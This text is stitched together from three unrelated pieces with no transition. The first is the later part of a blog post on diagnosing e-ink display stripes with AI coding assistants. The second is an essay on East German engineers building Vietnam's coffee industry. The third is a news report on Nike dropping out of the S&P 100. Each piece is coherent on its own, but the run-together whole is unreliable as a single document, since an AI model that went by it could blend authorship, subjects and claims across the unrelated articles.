A crop after applying the sliding vertical average. The broad shapes belong to the photograph; the fine vertical bands are the defect.

Fable now used an FFT on a one-dimensional brightness profile to measure the spacing and strength of the vertical pattern. Its first guesstimate put the stripes roughly seven screen pixels apart, but this was based on a guess of my photograph’s scale.

It returned its attention to dithering, this time inside the firmware, proposing that repeated rounding errors could line up to produce the vertical bands. When I mentioned that my source image was already dithered, it became more excited, but this ended up being a 20-minute false lead. Another investigation involved Fable getting worked up over the bit depth of an image, but this too led nowhere. At least it was being more novel in its investigations than Astra?

What was different about grey?

I had also been investigating much simpler images on the device. Removing either the grey or the pattern made the stripes disappear:

The specific combination of grey pixels with neighbours of a different shade was what caused trouble. Fable matched small blocks of the source image to the phone photograph, which finally allowed it to see that light-grey pixels carried the stripe, an important detail that hadn’t even been clear to me due to the very pale tone of light-grey pixels.

This evidence now pointed towards how the screen produced grey, via the greyscale nudge. The code for this lives in freeink-sdk, the hardware library CrossPoint uses.

Fable was initially reluctant to go further: “I cannot design or validate a LUT change from here.” A LUT is the lookup table holding the nudge waveform. When I pointed out that the X3 was on my desk, and I could photograph whatever a new build displayed, it came back with experiments we could run.

The X3’s odd choice of a magnetic contact charger worked in our favour here. Fable could flash and reboot the device over USB while it was plugged in. I could then pick the device up to photograph the screen and put it back down without ever needing to fiddle with a USB-C connector.

A test pattern, and a second bug

The existing nudge lasted seven scan cycles: each time, the controller worked through the panel’s rows, applying the next step of the voltage sequence to each pixel. We still thought the stripe spacing was about seven pixels. Could the timing be showing up as a spatial pattern? Changing the waveform’s duration would give us something to compare.

First we needed a better image to measure, so I suggested to Fable that it should generate a test image. It created a pattern with flat patches at all four shades, mixtures of grey with black or white, a checkerboard, and lines running in both directions.

The test pattern. Flat patches establish the four shades; the patterned areas test how grey behaves beside other shades. The checkerboard is at the right of the third row.

The test image made progress dramatically easier. Fable knew how the image should look, so variations in my photos and the screen’s appearance became possible to see and account for. For example, Fable’s original scale estimate had mistaken a feature in the photograph’s spectrum for the screen’s pixel grid. With the test pattern as a ruler, the stripe period turned out to be eight pixels, rather than seven.

I supplied raw DNG files from my phone as well as processed photographs. Comparing the two showed that the phone’s processing exaggerated the stripe amplitude by about 70 percent and shifted the apparent grey levels. We used raw files after that. Fable worked out how to locate the test patches despite changes in framing, perspective, and lens distortion, so it could measure each build and photo in the same way.

We tried stretching the nudge from seven frames to ten, then a version that interleaved drive pulses with rests. Neither affected the stripes. This ruled out the proposed connection between the frame count and the stripe period.

Three, then four, shades of grey

The test pattern also brought back a problem we’d worked around earlier.

The test pattern under the original waveform. The first two patches in the top row should be black and dark grey. Both are black. The dark-grey-on-black patch at the left of the third row has disappeared too.

Our supposedly four-shade reader was definitely displaying three shades; this wasn’t just my aging eyes. Dark grey was black. I was lucky enough to be watching Fable doing its thinking when it found this, because it only reported this as an offhand drive-by comment. Understanding the significance of its finding, I had to jump in, stop it, and get it to dig in deeper.

Fable traced this to a disagreement between CrossPoint and the driver about how to request dark grey. CrossPoint sends two bits per pixel for the nudge, selecting one of four waveform tables. Its code for dark grey selected a table that did nothing. The intended dark-grey drive was sitting in a different table. Fable fixed the mistake and issued a PR against freeink-sdk.

With that fixed, dark grey appeared, and the patch that should have been dark grey dithered on black became a visible speckle instead of a solid black square. But the light-grey drive hadn’t changed, and neither had the stripes. We had opportunistically fixed another bug while building the test for the first one.

The missing shade had also been making text look rough (remember that mention of indifferent text rendering?). CrossPoint anti-aliases its text, so pixels intended to soften the edges with dark grey had been coming out black, yielding chonky text. Restoring that shade improved text throughout the reader.

A slower way to draw a picture

The driver contained another waveform we hadn’t tried: the manufacturer’s four-grey image mode, called XTH4. It used a much longer sequence of pulses to produce the four shades, taking roughly a second to refresh. That would be an annoying delay on every page turn, but seemed reasonable for opening a picture or drawing the sleep screen.

The table was already in freeink-sdk, and another reader’s driver used a version of it for images. We could simply try it on the X3 without inventing a waveform from scratch. Fable was not at all sure this would achieve anything, but I urged it to forge ahead.

There was a memory problem to solve first. The nudge only needs to distinguish dark grey, light grey, and “leave this pixel alone”. Black and white can share that last instruction because the first pass has already drawn them. The longer waveform needs separate instructions for all four shades.

The other reader’s driver solved this by keeping a copy of the black-and-white image in RAM and combining it with the grey data. My X3 uses an ESP32-C3 with about 380 kilobytes of RAM, and its largest free block was only 53 kilobytes. At 528 by 792 pixels, even a one-bit copy of the screen would consume 52 kilobytes. There wouldn’t be room to casually add another buffer.

Fable proposed having CrossPoint draw the data in the required format to begin with. The image viewer already decoded the file once for each rendering pass; those passes could produce two bits per pixel that identified all four shades. The driver would receive what it needed without another screenful of data.

With this all implemented and flashed, I opened the image that had kicked off the investigation, and told Fable: “The stripes ARE NO LONGER visible in my original why are there stripes? image.”

The photograph on my X3, before and after. Below the line it uses the original grey waveform; above it uses the new one.

The measurements agreed. The column variation dropped from roughly four percent of the black-to-white range to one percent. The peak at eight pixels disappeared entirely from the frequency spectrum.

Column brightness relative to the black-to-white range, with gridlines every eight screen pixels. The regular oscillation in the upper plot disappears in the lower one

Column brightness relative to the black-to-white range, with gridlines every eight screen pixels. The regular oscillation in the upper plot disappears in the lower one

The longer waveform also had the happy side effect of improving the shades themselves. Restoring dark grey had given us four levels; this also pulled light grey further from white (remember my comments about it being very pale?). Dark grey is a bit darker than I’d like, so there’s still some tuning to do.

Measured shades under the original firmware, after restoring dark grey, and under the longer waveform. The dotted lines mark evenly spaced brightness levels for comparison.

Measured shades under the original firmware, after restoring dark grey, and under the longer waveform. The dotted lines mark evenly spaced brightness levels for comparison.

Do we get closure?

So this is a half-satisfying investigation: replacing the code fixed the problem, but do we really know why it occurred in the first place? Not quite.

Here is my best guess, based on my newly acquired and still very limited knowledge of electrophoretic displays. The rows of an e-ink panel are switched by a gate driver etched into the glass. A handful of interleaved clocks drive the gates, each opening every nth row for a slightly different interval of time. A particle being driven hard to black or white is insensitive to timing variation. A pixel nudged partway to grey over three frames gets only the charge its row’s time window allows, so every eighth row comes out a little lighter or darker.

When a column is charged, this happens one row at a time, and its voltage only has to move when consecutive rows are different shades. If a grey pixel follows a black one, that voltage swing has to complete inside our brief and variable time window. A flat grey field never swings, while a black-and-white swings, but the optical response saturates, so timing doesn’t matter so much. Only when we have a grey dither do we see a swing and sensitivity to timing, and that’s when we get our stripes.

Do I know that this is true? No, but it fits the electrical architecture and the evidence I have. I could have pursued this further, but I was relieved to have non-stripy imagery.

A happy pixelated ending

The driver change became freeink-sdk#95. Both of my freeink-sdk pull requests were merged within hours. I submitted a couple of CrossPoint PRs too. Amusingly, someone else gazumped me there, by merging an almost identical set of changes right before mine got reviewed.

I find the timescale of all this a little ridiculous. A few hours after unboxing my first e-ink device, I was testing fixes to its display waveforms. Astra and Fable handled unfamiliar code, build tools, and measurement scripts, while I could concentrate on what the experiments ought to do, provide major hints like use of FFTs and test patterns, quibble and steer around investigative dead ends, and share what the screen actually showed.

This experience of being able to jump into the unknown and immediately make progress was quite exciting. Even though I didn’t know much about e-ink, CrossPoint, or ESP32 in the beginning, I learned a lot within hours. It’s definitely whetted my appetite for more of this sort of low-level device hacking.

New stories from the East German specialists behind this Cold War project

East German agrarian engineer, Hellmut Naderer, with the direktor of the coffee collective Viet Duc, mid 1980s. Img: Naderer / Berliner Zeitung

“And now for something completely different.” I don’t know if you know this classic Monty Python catchphrase. In the TV sketches, John Cleese used to sit somewhere ridiculous, like a forest or a beach, at a desk, in a dinner jacket and say that line in a serious BBC sort of way before the show would start and the audience be exposed to the first absurd sketch.

The phrase sprang to mind earlier this week when I sat in the front row of one of Germany’s oldest cinemas, UT Connewitz in Leipzig, which began life in 1912. On stage, a man said something like: “And now for a short film about a Leipzig bakery entitled ‘People will always eat food’”. The room went dark, and 1980s-style synth music began to play. Then we saw Trabant cars whizzing through Leipzig. Loaves of bread being put into an oven. A room being tiled. More loaves of bread. More Trabants.

UT Connewitz Cinema in Leipzig. Img: Trainspotter, CC BY-SA 3.0.

The situation seemed a little bizarre, but I ended up rather enjoying myself. The film was from the early 1990s and documented an independent Leipzig bakery’s struggle to operate under socialism and after the fall of the Berlin Wall, when supermarkets suddenly provided fierce competition.

It certainly was something completely different. That afternoon I’d been having coffee with some diplomats in Berlin who had questions about the Saxony-Anhalt election. A train and a tram ride later, I was sitting in an ancient cinema, watching a film about socialist buns.

When it had finished, it was time for the announcer to do it again. And now for something completely different. Here comes Katja Hoyer, all the way from England. She will tell us all about coffee plantations in Vietnam…

To give you some context: I was attending the opening of a week of events focusing on industrial culture. Leipzig has a long history as a hub of German industry in the East – one of the reasons it was heavily bombed in the Second World War – and currently there are some anxieties around deindustrialisation, even if Leipzig on the whole is thriving.

So my contribution to this event was to tell the story of how East German botanists, engineers and other specialists grew a highly successful coffee industry in Vietnam, which remains the world’s second-largest coffee producer today.

It’s a fascinating and undertold bit of history, and I was even more pleased to join a panel after my talk with two tropical plant experts who were in Vietnam in the 1980s to get the project going and one coffee merchant who sources his beans from Vietnam to this day. In fact, he was brewing coffee for us that evening, and the cinema smelled wonderful.

I won’t recount the full story here. There’s a whole chapter on it in Beyond the Wall if you’re interested, but in short:

The GDR always struggled to procure enough coffee for its population because, for climate reasons, it couldn’t grow its own and had to buy it on the world market. That not only cost money – in hard currency – but was also fraught with difficulty. For the first two post-war decades, West Germany attempted to isolate East Germany with the so-called Hallstein Doctrine, which amounted to a pretty solid trade embargo. Countries trading with East Germany risked the ire of the much more powerful West Germany, which saw this as an “unfriendly act”.

So that only left socialist countries to source coffee from, but the Soviet Union had decided to stop its coffee exports to the GDR in 1954. So the GDR regime had to buy it wherever it could and whatever the cost, spending around 150 million West German marks a year to do so. They also relied on West Germans sending their eastern pals and relatives coffee, which covered around a fifth of demand. For a long time that worked sort of okay. Coffee wasn’t always easy to get hold of. You might have to visit several shops or draw on some connections to get hold of some, but it was still proper coffee and by and large available.

Then the coffee crisis of 1977 hit the world. Bad harvests in Brazil, combined with the oil crisis, created a perfect storm of global coffee shortages. Suddenly the GDR’s import costs more than quadrupled, and the situation was unsustainable. Famously, one solution was to offer the population terrible ersatz coffee made from 51 per cent coffee, 34 per cent rye-barley mix, 5 per cent chicory, 5 per cent sugar beet fibre and 5 per cent ground spelt. It was horrible, and people gave it all sorts of nicknames, including “Erich’s Brew” after leader Erich Honecker.

GDR Coffee Mix. Img: Illustratedjc, CC BY-SA 4.0.

Given that the Vietnam War had ended and the last Americans left in 1975, leaving the country devastated but communist, there was an ideal opportunity here to grow real coffee in a “brother state”. Vietnam also desperately needed to rebuild and recover, and the GDR could help with that. A deal was struck in 1980.

GDR stamp: “Help for Vietnam”. Img: Scanned by Nightflyer, Public Domain.

In Dak Lak province, 600 metres above sea level, 10,000 hectares were cleared for coffee plants. Machinery was delivered, and roads, settlements and schools were built for the 10,000 people who migrated from the coast to the mountain areas to work on the plantations.

East Germany sent lorries, farm machinery and equipment to install complex irrigation systems. In Dray H’Linh, a hydropower plant was built, costing the equivalent of $20 million. In exchange for this enormous aid package, the GDR was to receive half of Vietnam’s coffee production for twenty years.

This project was hugely successful. Vietnam is now a leading coffee producer with only 6 per cent of the yield used internally, while the rest is exported at an estimated annual worth of $3 billion. East Germany stood to gain half of this – enough to satisfy its own demand and create additional revenue through exports – but coffee plants take years to mature and produce their beans. The first proper harvest of the East German coffee project in Vietnam only came in 1990 – too late for the GDR, which ceased to exist in the same year.

I think it’s because of this that we don’t really tell this story. Do so, as I do in my book, and you get accused of glorifying the East German regime. So I found it fascinating to talk that evening in Leipzig to two of the experts who were there.

One of them, a highly specialised engineer, felt particularly aggrieved about how skills and the rigour of their research were treated with contempt after the fall of the Wall. He had by no means been a meek supporter of the regime, having been deemed “politically unreliable” in his youth, and his contempt for the East German leaders still came through strongly now. But he also said scientific research and education in the GDR were top-notch, at least in his field. That’s why they were able to build that coffee industry in Vietnam when others who had tried – for example, the French and the Soviets – had not been anywhere near this successful.

His colleague, also on the stage in Leipzig, still works in this field today despite being well over 70 years old. Private companies value his unique expertise. He’s worked in South America and more recently in Angola to help build and optimise coffee plantations there. I could have listened to him for hours as he explained the conditions the plants require, but also how you build a truly local industry by training workers and specialists in situ, creating a socially and economically sustainable model.

In Vietnam, this involved building things like schools, roads and housing alongside what’s strictly necessary to grow coffee. The third man on the stage confirmed that these things are all still up and running in Vietnam today, where he lives for much of the year while growing and importing coffee for his roastery in Leipzig.

All three men also told fascinating stories about their interactions with the Vietnamese population. Due to the huge losses among the male population in the Vietnam War, but also due to socialist ideology, there were far more female workers on the plantations than one might expect.

When I asked the men about that, all three stressed that women were regarded as equals. That could mean anything from moving heavy sacks of coffee beans the same as men to being highly trained and specialised as female engineers, botanists and plant managers. The guy who’s currently growing coffee in Vietnam said that this hasn’t changed. Many women still work in the field today. Equally, both the GDR and Vietnam tried to discourage relationships between their respective workers. If an East German was found to have entered into a relationship with a Vietnamese partner, they would be sent home.

There were plenty of fascinating anecdotes – too many to recount here. Suffice to say that I found them so fascinating that I carried on chatting long after the official talk had finished, only getting back to my hotel at 1 am in the morning.

Another aspect I hadn’t previously considered was that the GDR also grew and imported spices in partnership with Vietnam, especially black pepper, as part of the same 1980 trade agreement. When we got to the Q&A segment of the evening, a lady in the audience stood up and said she was also an East German botanist specialising in spice plants, and that she’d been sent to Vietnam to help with the pepper industry there. The same applied to black tea.

If I needed a reminder that history is always complicated, there are worse ways to learn it than with a cup of steaming Vietnamese coffee in a historical cinema in Leipzig, chatting with a group of people with fascinating stories to tell.

This is one of the many reasons why I’ve fought for a more open-minded approach to GDR history. If we step away for a minute from simply wanting to use that history for educational and political purposes, then we have a chance to discover the many rich and highly consequential things that happened in those forty years between 1949 and 1989. That isn’t relativising the inhumanity of the Berlin Wall or the oppression and surveillance of the Stasi. It’s a way to understand the world as it is today, in all its complexity.

Nike used to race to the top of the S&P 500—now it's running in the opposite direction. Michael Nagle/Bloomberg via Getty Images

One of the largest sports and athletic-wear companies of the modern day may be disappointing its namesake. Nike, the sportswear company named after the Greek goddess of victory, is losing its spot in the top 100 U.S. companies for the first time in nearly two decades. The athletic apparel giant lost over $200 billion in market cap since its all-time high in 2021, a near 80% drop in just the five years that have passed, and a plummet so severe that the once mighty company is no longer listed on the S&P 100.

From the company’s $264 billion peak in Nov. 2021 (when Nike shares traded at $179.10), the company is currently worth roughly $57 billion today, down 78%, as shares for the company are currently trading at around $38 apiece.

After almost 18 years on the S&P 100—and after a 36% drop in market cap in 2026 alone—Nike will exit the benchmark on Sept. 21. It was a slow burn: The reshuffling is a consequence of a multiyear decline for the company. Current S&P Dow Jones Indices rules posit that quarterly changes are designed to make the indexes more representative of their respective market-capitalization ranges. Nike will still remain in the S&P 500.

Nike isn’t the only company to lose its seat in the benchmark: Honeywell Aerospace, Simon Property Group and Colgate-Palmolive also leave on the same date. Instead, information technology sector companies will take their place, like Dell Technologies, Palo Alto Networks, Arista Networks and Sandisk, marking a trend towards servers and data infrastructure in the blue-chip index.

Why is Nike dropping?

According to Nike’s investor report, the company’s underlying business deteriorated as it reported $46.4 billion in fiscal 2026 revenue, down 2% on a currency-neutral basis. Greater China remained a problem for the company, with sales falling 17% on a constant-currency basis in the company’s fourth quarter, which ended May 31 of this year. Nike warned that revenue would continue declining into the first half of fiscal 2027.

The company’s direct-to-consumer business has also struggled, with FY2026 direct-to-consumer revenue falling 6% to $17.7 billion—and wholesale revenue increased 6% to $27.5 billion according to Nike’s results. The company’s turnaround under CEO Elliott Hill has increasingly focused on rebuilding wholesale relationships, reducing excess inventory and returning the brand’s emphasis on performance products.

“We made meaningful structural improvements to lay the groundwork for our Sport Offense across our team culture, innovative product, brand strength, and how we serve consumers in our countries and cities,” Hill said in the report. “While we continue to face top-line headwinds, we’re encouraged by progress in performance product and are focused on consistent execution, improved profitability and scaling our wins to realize our full potential.”

China has also become particularly important to the turnaround. Nike has endured eight consecutive quarters of declining sales in the country and is moving to take greater control over online distribution, including pulling online sales rights from major retail partners. The company is also facing competition from Chinese brands such as Anta and Li Ning as well as international rivals including Hoka and On.

Reuters reported in June that Nike shares were already down about 35% for 2026 after the company’s latest results, while the stock had fallen sharply over the preceding years as investors grew skeptical that the turnaround would produce a meaningful recovery.

Nike did not immediately respond to a request for comment from Fortune.